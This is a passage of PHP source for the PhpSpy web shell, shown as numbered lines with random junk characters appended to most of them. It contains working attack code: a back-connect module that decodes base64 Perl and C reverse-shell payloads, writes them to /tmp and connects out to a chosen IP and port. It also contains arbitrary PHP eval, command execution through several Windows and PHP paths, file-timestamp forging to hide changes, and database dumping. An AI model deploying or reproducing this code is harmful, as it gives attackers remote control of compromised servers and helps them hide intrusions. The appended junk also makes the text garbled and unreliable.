    ! b* _. l6 ?6 E. Y+ f
  1014.                                                                         $ar = mysql_affected_rows();& D) B# n4 \, j8 {$ G# X
  1015.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');+ s7 ]2 W. ?: c) z1 b* U4 G0 Y
  1016.                                                                         break;7 h) j$ B* ]: `4 l
  1017.                                                         }
    # F9 |" f: |/ q: e
  1018.                                                 }3 P* _2 z( B4 \4 J$ M
  1019.                                         }1 j* |$ k% a- R) y2 Q
  1020.                                 }
    6 ?( `5 _- H) \3 c& N* ]. I! _
  1021.                         } else {- z( F  d. V* q9 L5 K$ v5 G
  1022.                                 $query = q("SHOW TABLE STATUS");
      Z- \" n% T7 M4 o
  1023.                                 $table_num = $table_rows = $data_size = 0;  D; e& w9 [8 W' h" U+ ^' b% ^
  1024.                                 $tabledb = array();
    3 n! `- |( W. E' E- I+ L
  1025.                                 while($table = mysql_fetch_array($query)) {
    : S6 H  Y- W3 g3 A
  1026.                                         $data_size = $data_size + $table['Data_length'];
    8 Z) K  W6 l) H- Z$ D
  1027.                                         $table_rows = $table_rows + $table['Rows'];1 h- D" U# p6 _% t  X; ~
  1028.                                         $table['Data_length'] = sizecount($table['Data_length']);
    * ?/ S! x) B' {% W' _
  1029.                                         $table_num++;0 l) O! k3 Z9 |1 e
  1030.                                         $tabledb[] = $table;
    . P9 ?' Z+ _# q! Q
  1031.                                 }  v$ _& z/ h2 [; n( i4 t/ }0 L
  1032.                                 $data_size = sizecount($data_size);
    : _: _% U7 u& N# a- O  L1 e4 ], Q
  1033.                                 unset($table);
    + m! u; D0 J! r  o
  1034.                                 p('<table border="0" cellpadding="0" cellspacing="0">');5 x" R8 G2 l' D5 c& `
  1035.                                 p('<form action="'.$self.'" method="POST">');
    ! @, }+ p& V6 n6 U$ ^/ l9 y* P/ q
  1036.                                 makehide('action','sqladmin');- R- n4 m3 U, e+ n( K, A$ t
  1037.                                 p($dbform);4 b! o/ e+ R9 d/ p  ~
  1038.                                 p('<tr class="head">');5 ?; B2 i- L/ r) |1 \- W0 Q1 `% B
  1039.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
    # H: @$ y7 R7 X- ?7 k1 z3 b( B) W
  1040.                                 p('<td>Name</td>');
    - K. W; I* w: N( {) V
  1041.                                 p('<td>Rows</td>');, R$ x( N  t  J! D& ~+ G  d
  1042.                                 p('<td>Data_length</td>');! O* Z6 ?2 r1 W
  1043.                                 p('<td>Create_time</td>');8 q, a7 Q- ^( h) @" I* N
  1044.                                 p('<td>Update_time</td>');
    $ e/ B- Y' ^% X+ }) i# h6 n% o
  1045.                                 if ($highver) {
    8 s* G* s7 Q. `' T( p
  1046.                                         p('<td>Engine</td>');5 f4 R7 J+ S0 P  P9 T. K/ w; A
  1047.                                         p('<td>Collation</td>');
    ; L: B$ p- s$ X, G9 U. Q6 G
  1048.                                 }' Z5 f% z3 W# T( l
  1049.                                 p('</tr>');
    & V4 B- [) Q: m) N
  1050.                                 foreach ($tabledb as $key => $table) {
    0 J0 r- r9 S- A) f3 A
  1051.                                         $thisbg = bg();& t3 u2 O" [1 }8 K: k7 Q% }. L
  1052.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');: c6 B, O7 M0 W' E" y2 o
  1053.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');0 @: R2 V+ o$ N0 x" e; o- k
  1054.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');$ [. L" n* D2 k  l
  1055.                                         p('<td>'.$table['Rows'].'</td>');3 W) B4 c; G) B" F6 F2 k' q3 h) u" Q
  1056.                                         p('<td>'.$table['Data_length'].'</td>');3 I- m, J% l) J) ~
  1057.                                         p('<td>'.$table['Create_time'].'</td>');
    ! a/ j8 S% }, o3 X& R/ v. y
  1058.                                         p('<td>'.$table['Update_time'].'</td>');' n3 `5 F( e5 a" x7 k
  1059.                                         if ($highver) {
    8 s" C" N/ ?) O9 B
  1060.                                                 p('<td>'.$table['Engine'].'</td>');0 t* Q* e% X- x0 Q3 x! {( V
  1061.                                                 p('<td>'.$table['Collation'].'</td>');
    : a2 f8 z! j: ~" t0 b
  1062.                                         }1 A/ V' Y' e0 I* D8 {
  1063.                                         p('</tr>');
    ) @: [: Z3 T4 y7 ?# W7 |5 ]" W
  1064.                                 }; ]) u8 }1 Y7 X. y2 |' m" T
  1065.                                 p('<tr class='.bg().'>');
    9 y  D. {( f! Q# y
  1066.                                 p('<td> </td>');
    ( X, D/ X& I# L2 D7 o
  1067.                                 p('<td>Total tables: '.$table_num.'</td>');+ w' ^- G4 F. y- H: f3 E0 r! u
  1068.                                 p('<td>'.$table_rows.'</td>');
    5 E7 V- Z, T# O7 `! R1 b6 o. j4 g
  1069.                                 p('<td>'.$data_size.'</td>');
    3 Y7 t( Q% Z1 t4 `
  1070.                                 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
    ' I/ u( I( P* _1 n/ A. w# u
  1071.                                 p('</tr>');( C! G( ~% k8 |
  1072.                                 p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
    6 @" W% K- H9 `1 H$ D5 M
  1073.                                 makehide('doing','backupmysql');
    ! Z- {, T. R9 r& n- W$ W
  1074.                                 formfoot();
    : [& a' _  w* _/ v% |
  1075.                                 p("</table>");! I% l5 k/ n" i) n* {
  1076.                                 fr($query);
    : S% F0 ?- X- D: o
  1077.                         }
    8 X$ l& H% m. Y+ a$ J1 n  [9 }/ P
  1078.                 }1 F6 I! U; u& \9 e8 x
  1079.         }
    7 p  t" U! q; T" D* z* D& X+ P& b
  1080.         tbfoot();, T/ [1 ^/ h2 ?) o6 z* X
  1081.         @mysql_close();2 n8 |8 h! Q7 G, F/ w3 p
  1082. }//end sql backup( j, S" h1 U+ }* k: A0 F: f
  1083. elseif ($action == 'backconnect') {
    3 H# t4 H! I7 ^7 f$ p
  1084.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];, S6 u$ [7 u+ B  \' G
  1085.         !$yourport && $yourport = '12345';
    0 j3 e6 ^" C( c+ O# n0 L: i
  1086.         $usedb = array('perl'=>'perl','c'=>'c');7 B$ d9 v5 v6 m7 S" ?- Y: o
  1087.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".! f: w8 }* _2 v7 ^% e* B& j" O
  1088.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".8 I) X. N; N2 `) _6 F) Y! ~
  1089.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
    7 f2 W! l, M, T) V# q* H# ]7 w
  1090.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
    6 K5 {! T- _- R5 H8 }0 n
  1091.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".4 u; F* ?, }* m" R" i
  1092.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".3 B7 n4 g1 ~; P8 ~. J0 S0 t
  1093.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    # J5 b  J- R) {% P/ d) k: \! I3 w
  1094.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".1 u* X4 ?9 X/ I! l2 k
  1095.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
    ) t5 {& m+ N6 ]1 c; [: Q# o
  1096.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
    2 w0 }7 l* F) I* c; x
  1097.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".' S0 u, u9 \) F" o: n- M; d0 P8 ~
  1098.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".7 @, G- Z+ _7 @  c
  1099.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".* _  p( j. E0 f1 `' q4 i* g; o" j
  1100.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".* f8 V8 @3 s0 Y4 ~6 G
  1101.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
    : e% `& g, y. G
  1102.         if ($start && $yourip && $yourport && $use){
    ) z% u" Z: s1 R/ y8 W0 |: a
  1103.                 if ($use == 'perl') {
    1 e. O( r* ]7 y
  1104.                         cf('/tmp/angel_bc',$back_connect);0 k2 e+ r) }; ^; @7 i
  1105.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
    , n9 @. F& ]* S: g
  1106.                 } else {
    . N+ R  X  ]% h* U: {; S
  1107.                         cf('/tmp/angel_bc.c',$back_connect_c);5 K6 i. D) |5 A) O# V% v% R
  1108.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
    " y  e9 l8 ?; Y1 q8 v: E: L* ~- J
  1109.                         @unlink('/tmp/angel_bc.c');
    ) _' F$ P# k# v
  1110.                         $res = execute("/tmp/angel_bc $yourip $yourport &");3 u) ?% z; _2 k$ |. p
  1111.                 }
    # D3 ^; b; q  B8 ^8 X9 v" B/ S
  1112.                 m("Now script try connect to $yourip port $yourport ...");
    / [  J6 Q) E, _# n2 l" A
  1113.         }
    & y& _* o( ~( H9 F9 B3 W" U
  1114.         formhead(array('title'=>'Back Connect'));
    ' q+ S1 Z8 W% ?
  1115.         makehide('action','backconnect');
    1 |8 W! P  T+ K0 w6 e; ^. r" t& q
  1116.         p('<p>');/ K/ S) Z1 n. t
  1117.         p('Your IP:');
    6 a3 T0 h  ~- S* T! y6 B
  1118.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));6 F4 n# d' T0 f' Z" b# {
  1119.         p('Your Port:');# {& C' z7 q3 \/ j6 K
  1120.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
    ) X4 g2 I- g& Q2 i; W2 |5 {' ]/ p# P
  1121.         p('Use:');
    5 R; y, Y  C0 E$ [- Z( N: q
  1122.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
      S: O5 ]2 s# _+ H! A# h! O
  1123.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
    ) L& z7 j5 }; Z4 k! U
  1124.         p('</p>');
      C- h! Z+ k$ L8 o
  1125.         formfoot();
    5 |- w* D+ V$ Z
  1126. }//end sql backup! y7 t; W' w& |7 d7 O: n
  1127. elseif ($action == 'eval') {7 [- D) W+ b: u
  1128.         $phpcode = trim($phpcode);
    : o0 W# {, m# C; v1 Z/ E
  1129.         if($phpcode){
      M. f/ Q* {' K$ v. a0 A
  1130.                 if (!preg_match('#<\?#si', $phpcode)) {
    & T4 a1 Z* ^  U  P' a
  1131.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";
    5 X6 V6 y0 h2 c% q2 A
  1132.                 }
    , [. e, u( p: E- u+ j, W% i1 E4 I; D# [
  1133.                 eval("?".">$phpcode<?");: {/ ]* b7 {- t1 Y" _
  1134.         }, G- X8 u9 R- o; F* d- y" d  e6 C( b
  1135.         formhead(array('title'=>'Eval PHP Code'));
    5 \6 Y( i$ Q: J% t" b9 B
  1136.         makehide('action','eval');
    * T% ^, u- u: p# ?! Z
  1137.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
    , S: W( V3 o3 s  o7 l/ c; v  W
  1138.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');* `, z/ @6 z! `, t: P) k# ]! p+ r
  1139.         formfooter();7 I# ]- e" z- T: Z
  1140. }//end eval
    9 U5 x8 S9 [$ S2 H& t/ s
  1141. 4 i: `( M7 {5 V/ Z
  1142. elseif ($action == 'editfile') {9 I( Q2 L2 K% ]/ C
  1143.         if(file_exists($opfile)) {% j% M2 f, V5 G" E1 I$ p
  1144.                 $fp=@fopen($opfile,'r');6 x& ]: `0 v  ]+ ~
  1145.                 $contents=@fread($fp, filesize($opfile));
    ' B3 o  A3 \% f% @5 v
  1146.                 @fclose($fp);
    # n5 @4 [1 b/ @! h$ p, e9 H- h
  1147.                 $contents=htmlspecialchars($contents);$ x$ Q; s. N& ?& y1 O/ b+ J# |4 K
  1148.         }
    $ o6 ~2 I6 K7 N( O$ o$ s
  1149.         formhead(array('title'=>'Create / Edit File'));# A8 R8 v; L) g  n: Q
  1150.         makehide('action','file');
    1 [) T, x0 Y# i0 v2 P4 l% y
  1151.         makehide('dir',$nowpath);! \8 L  d) o/ g: x+ ?
  1152.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));( a! p: T4 [- i* k+ b4 h( X
  1153.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
    / d  G; o* K7 b. Z
  1154.         formfooter();/ N7 a2 [8 `  V$ P: V9 `% ?/ Y
  1155. }//end editfile
    ; ~% ?" W% J% [% C0 J0 W5 c

  1156. ) A% M' B+ z+ u" J
  1157. elseif ($action == 'newtime') {, E0 W: @7 K2 T4 s" E' S# ?
  1158.         $opfilemtime = @filemtime($opfile);% n! _$ J% z6 N3 Q! |
  1159.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");
    * G/ z" Q+ Q! O+ L, C2 N
  1160.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);" R$ I' y6 ]" Y1 ~) j
  1161.         formhead(array('title'=>'Clone file was last modified time'));
    ' k7 R% J$ X. w2 E: l
  1162.         makehide('action','file');
    # n) x2 \: b; b- E* t; Y' X; u
  1163.         makehide('dir',$nowpath);
    ; E/ U9 v. [2 v) r& y
  1164.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
    / }( [2 W: U' L3 F
  1165.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));( @8 _5 X4 @: b7 }$ G1 T$ A
  1166.         formfooter();
    1 g& X% [. W. o. s% }  Z8 A- [
  1167.         formhead(array('title'=>'Set last modified'));
    1 i6 v3 K& z6 f& y* @/ R' |
  1168.         makehide('action','file');
    3 \6 T, x& e" W) _$ v' n
  1169.         makehide('dir',$nowpath);8 l5 P0 o8 P: t& M. r7 A
  1170.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));$ W' U! r5 |* R* V; `( d& G
  1171.         p('<p>Instead »');
    - P1 N1 v3 H7 d7 T7 g+ x
  1172.         p('year:');* Q' q# l7 I9 h+ `& f; @
  1173.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));/ z4 p, w3 X) _7 N+ ?0 q
  1174.         p('month:');; I3 T$ C) e! c3 |; ?4 Z- B
  1175.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
    6 j8 H6 y- e8 N6 W
  1176.         p('day:');" }* O/ N3 A" r2 V
  1177.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
      g7 W% R5 l; a
  1178.         p('hour:');
    6 U4 e& D( [" S) o
  1179.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));) ]0 M% `: ]2 [3 \/ _
  1180.         p('minute:');
    ( `- u. _, Q" v' e. f4 `
  1181.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));. k  c! B6 ^, W" B2 F
  1182.         p('second:');
    7 P2 `, n4 f! B7 B
  1183.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
    , m- ?( ?* G- `  o' Q) \
  1184.         p('</p>');0 Y- O& I3 Z' q( b- D
  1185.         formfooter();% C* Z/ l+ u* E' k/ C# h( P
  1186. }//end newtime
    ( ~: s! `  q0 _! t
  1187. + `0 R# c. V& a' j- L! `' ]
  1188. elseif ($action == 'shell') {0 \# O5 k$ z1 H8 ~; _3 y
  1189.         if (IS_WIN && IS_COM) {( @8 x6 Z' z$ U9 C  s" [% J
  1190.                 if($program && $parameter) {
    8 y4 }( ^( E7 n0 T
  1191.                         $shell= new COM('Shell.Application');
    0 B! r, _1 B2 Y+ c
  1192.                         $a = $shell->ShellExecute($program,$parameter);
    & J' E( o7 q  g, m7 d* P5 ], i
  1193.                         m('Program run has '.(!$a ? 'success' : 'fail'));
    0 S# [- k, C( E) Z2 p1 s
  1194.                 }
    * m) K  M: @$ N1 z7 w$ |
  1195.                 !$program && $program = 'c:\windows\system32\cmd.exe';
    # ?8 C0 q, n8 [6 X7 T+ s
  1196.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
    / T0 F4 r7 C9 Q% m0 W
  1197.                 formhead(array('title'=>'Execute Program'));# p& Q* ]3 n/ n5 {
  1198.                 makehide('action','shell');
    1 Y8 z  A. L) e9 M# B
  1199.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
    5 x; L3 i7 L3 y- t! N' X
  1200.                 p('<p>');
    * e2 @" A& S# M/ H: ^4 L, }
  1201.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
    ! Z0 G6 v# d& T
  1202.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));" x9 Z4 j8 o' j2 t) z
  1203.                 p('</p>');
    9 s/ K" N/ n8 g
  1204.                 formfoot();3 b! _8 v) s7 a
  1205.         }& ~. P( x3 T3 J" l) z( ]& e
  1206.         formhead(array('title'=>'Execute Command'));" C% T5 U2 _$ L
  1207.         makehide('action','shell');2 e$ @% u. |9 A/ k. j& a
  1208.         if (IS_WIN && IS_COM) {
    0 |3 d* P! E9 k' m4 P" J" p# D
  1209.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');! A5 d, c$ r+ v7 Z
  1210.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));0 ~8 i# m/ r! N$ i5 N7 r" O8 k
  1211.         }
    5 J8 `2 z( e/ P3 s; j+ ~8 h
  1212.         p('<p>');
    ' Q) Z6 k! T" J+ C
  1213.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
    4 ~9 r% `6 N) O5 v" k
  1214.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));. W  |3 G! [) D3 q& X+ n
  1215.         p('</p>');% X' Z" v2 ]6 r3 M
  1216.         formfoot();$ e3 h2 I# ~0 U2 q! x- E
  1217. 7 ^' |( q* w; j9 Y" a/ ^
  1218.         if ($command) {3 ]1 g: T  M  R' P7 D: d4 M7 ?: R
  1219.                 p('<hr width="100%" noshade /><pre>');* R) i3 g0 `+ U- l% u6 m
  1220.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {4 t# r' V( ~2 ]3 W- D
  1221.                         $wsh = new COM('WScript.shell');5 O# E' i. S$ n4 C5 j
  1222.                         $exec = $wsh->exec('cmd.exe /c '.$command);  B5 r% X* @6 Q' f& Q
  1223.                         $stdout = $exec->StdOut();4 G& N* |0 d, D3 B2 A" S8 O* O
  1224.                         $stroutput = $stdout->ReadAll();2 H  n/ ]+ \: O- E0 T7 K3 p; G/ ~
  1225.                         echo $stroutput;
    0 [3 }* R# C& @/ Q# R1 [3 [
  1226.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
    4 p( t: ?+ h# h6 w) g
  1227.                         $descriptorspec = array(: g/ n! g* |! k" y( v4 k9 q" i
  1228.                            0 => array('pipe', 'r'),- e2 I5 w1 P$ a. X
  1229.                            1 => array('pipe', 'w'),- Z% X2 Z- K/ {; O+ O
  1230.                            2 => array('pipe', 'w')  h0 I+ i9 O( L+ n: k, f4 A% ?
  1231.                         );' z& e4 L& S1 c0 c% f6 v' u
  1232.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);3 O# ]4 e5 m1 K/ b: N8 k
  1233.                         if (is_resource($process)) {/ n& m+ g" @% D( N2 c- p2 F' |
  1234.                                 fwrite($pipes[0], $command."\r\n");8 L6 P& O' {" ^( Y! G; [, t
  1235.                                 fwrite($pipes[0], "exit\r\n");
    0 w# P/ S- A, }1 J: w
  1236.                                 fclose($pipes[0]);
    0 Y7 M  N5 H& T& k6 g4 I7 W
  1237.                                 while (!feof($pipes[1])) {- Z. G1 w; y9 U, j
  1238.                                         echo fgets($pipes[1], 1024);
    ! z1 ]/ I- f# r
  1239.                                 }
    5 L9 c. N9 r  q+ w4 j3 ~; w
  1240.                                 fclose($pipes[1]);, P6 o2 A/ x' ~( ]; g( k( s0 T
  1241.                                 while (!feof($pipes[2])) {
    9 [' ]8 R! o  A* d
  1242.                                         echo fgets($pipes[2], 1024);
    4 z3 t5 o+ e' [- S( G
  1243.                                 }
    # V2 j4 O; y  [6 l- I
  1244.                                 fclose($pipes[2]);
    * f  V3 H# E  [* P# z' H; [
  1245.                                 proc_close($process);# Y2 c& g# G5 O- g' ~# _& r& _" |
  1246.                         }
    & q; X" H$ F2 k# G  S5 @/ r0 q
  1247.                 } else {; S1 n# f) Q+ I- b7 U9 V
  1248.                         echo(execute($command));: a" b6 y$ ~0 @# b3 n0 B; c3 m
  1249.                 }; T, K3 A9 _0 N, Z: L. W7 ^
  1250.                 p('</pre>');
    * J& N! k; w- K
  1251.         }
    ' g0 t/ h: A, Z
  1252. }//end shell5 g$ x& |$ r! `7 Y, I. r# c' ^
  1253. # c9 D4 P0 z  |1 E* X% ^, V
  1254. elseif ($action == 'phpenv') {3 N" ]. Q$ V5 `, m/ m2 v
  1255.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
    3 m# I6 F2 J; u' O  J+ O
  1256.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');- |4 G" j7 n# _# _
  1257.         !$dis_func && $dis_func = 'No';        " C* w& l6 t' O- V+ ?
  1258.         $info = array(
    4 b* w8 L; p+ R7 z
  1259.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
    . s% o+ z7 b( S+ C& k7 m2 W
  1260.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
    ( u" t$ I% c3 n3 d9 H
  1261.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),1 d4 Z& i# i; e* x  Z# f+ R
  1262.                 4 => array('Server OS',PHP_OS)," p+ S& x8 M/ M3 l# a* \
  1263.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
    ( K* k7 C. v' h3 k7 n$ ^, l
  1264.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
    / o, r9 Q' @, o" r
  1265.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),' E; f: U" ?% z; J
  1266.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),
    " r' K5 |8 h7 X& p( X+ u
  1267.                 9 => array('The file path',__FILE__),9 }9 ~) ~* o8 S8 G0 k

  1268. " E4 W4 h4 f$ B5 X
  1269.                 10 => array('PHP Version',PHP_VERSION),4 c$ V4 V! P/ W1 w9 Z* U
  1270.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),4 x$ R4 H# L7 y2 y
  1271.                 12 => array('Safe Mode',getcfg('safe_mode')),
    - Z6 f: n1 L$ e4 h8 Y; I3 Z, z
  1272.                 13 => array('Administrator',$adminmail),# Z5 L7 h% S  q3 V& K4 Z0 z; |
  1273.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
    $ u3 ^9 t( }$ E; u, }. g# t# O  G
  1274.                 15 => array('enable_dl',getcfg('enable_dl')),( A; J0 }( R: N
  1275.                 16 => array('display_errors',getcfg('display_errors')),
    : R- b& u+ q) B2 y. y1 P3 A+ m( c
  1276.                 17 => array('register_globals',getcfg('register_globals')),5 Q2 a- t. y, @+ R  h) Z- W# `
  1277.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),# b% x) q4 C, ~, ?$ N
  1278.                 19 => array('memory_limit',getcfg('memory_limit')),
    # z7 }2 g; O2 p4 a9 r# o, x0 V
  1279.                 20 => array('post_max_size',getcfg('post_max_size')),
    0 m' J7 h: V) @; a: |
  1280.                 21 => array('upload_max_filesize',$upsize),, y% s# z$ C3 X6 B( C2 n
  1281.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),( R$ h; L9 W! @; D5 X
  1282.                 23 => array('disable_functions',$dis_func),
    5 M5 ^4 ~# g. y  K3 a
  1283.         );
    6 |4 I) b" w8 u) i) ?
  1284. 9 Y& R0 G% a. W5 H
  1285.         if($phpvarname) {+ Y- c0 l  }: O& F+ O
  1286.                 m($phpvarname .' : '.getcfg($phpvarname));/ p# P7 c9 E3 r- v4 A3 h+ v2 L% c
  1287.         }
    / d( \2 g) b. c5 l
  1288. ( t! z8 D2 L- A/ U
  1289.         formhead(array('title'=>'Server environment'));
    7 v/ q! H- K0 H! l
  1290.         makehide('action','phpenv');% ?' y1 [2 E# W/ Q; v+ a$ P) C
  1291.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));/ x2 e8 c/ @7 {9 |! G
  1292.         formfooter();$ t7 x5 ]2 [$ c2 s3 }2 |0 c2 a) ^; O

  1293. / Z* l/ t/ E4 C* g
  1294.         $hp = array(0=> 'Server', 1=> 'PHP');
    + w' H. A. |1 D
  1295.         for($a=0;$a<2;$a++) {7 k; V+ {0 t) e4 f' O/ D6 P- Y) _  W
  1296.                 p('<h2>'.$hp[$a].' »</h2>');' F% I& f9 d) c7 w3 J" c
  1297.                 p('<ul class="info">');
    / W0 F9 `! I( R% T# j
  1298.                 if ($a==0) {
    . k# e3 T9 k) V# N* _* B7 v
  1299.                         for($i=1;$i<=9;$i++) {" D: ]; }3 @. {- X+ w& l8 S
  1300.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
    0 k! j' D: D8 {0 m/ d) f
  1301.                         }9 D. x* l0 ^: W, J. `) g
  1302.                 } elseif ($a == 1) {
    # h& Y: O& i$ \" ~1 B7 }
  1303.                         for($i=10;$i<=23;$i++) {. S+ x4 @" J6 U$ Q' e! O# |
  1304.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');+ T' w+ Y0 L% }/ }' E% D; [
  1305.                         }+ u- m9 t" K) F9 h8 w: U
  1306.                 }0 ]; O) g+ ?# a2 O. z+ T6 x
  1307.                 p('</ul>');
    # e# z/ T, y& w9 _2 K- K  F0 @$ |
  1308.         }
    ( P9 }# u: E( v9 l) J
  1309. }//end phpenv" W' L% o: q6 w. M: v; }. p
  1310. " A! ~0 U# c- c4 u* {0 n) O( `
  1311. else {$ k9 \7 q. T) F3 I2 f1 [: F
  1312.         m('Undefined Action');" u; K8 W  Z1 f
  1313. }' g4 g" \8 `$ F

  1314. 0 r6 `4 B  S& b! c9 W( v5 ?
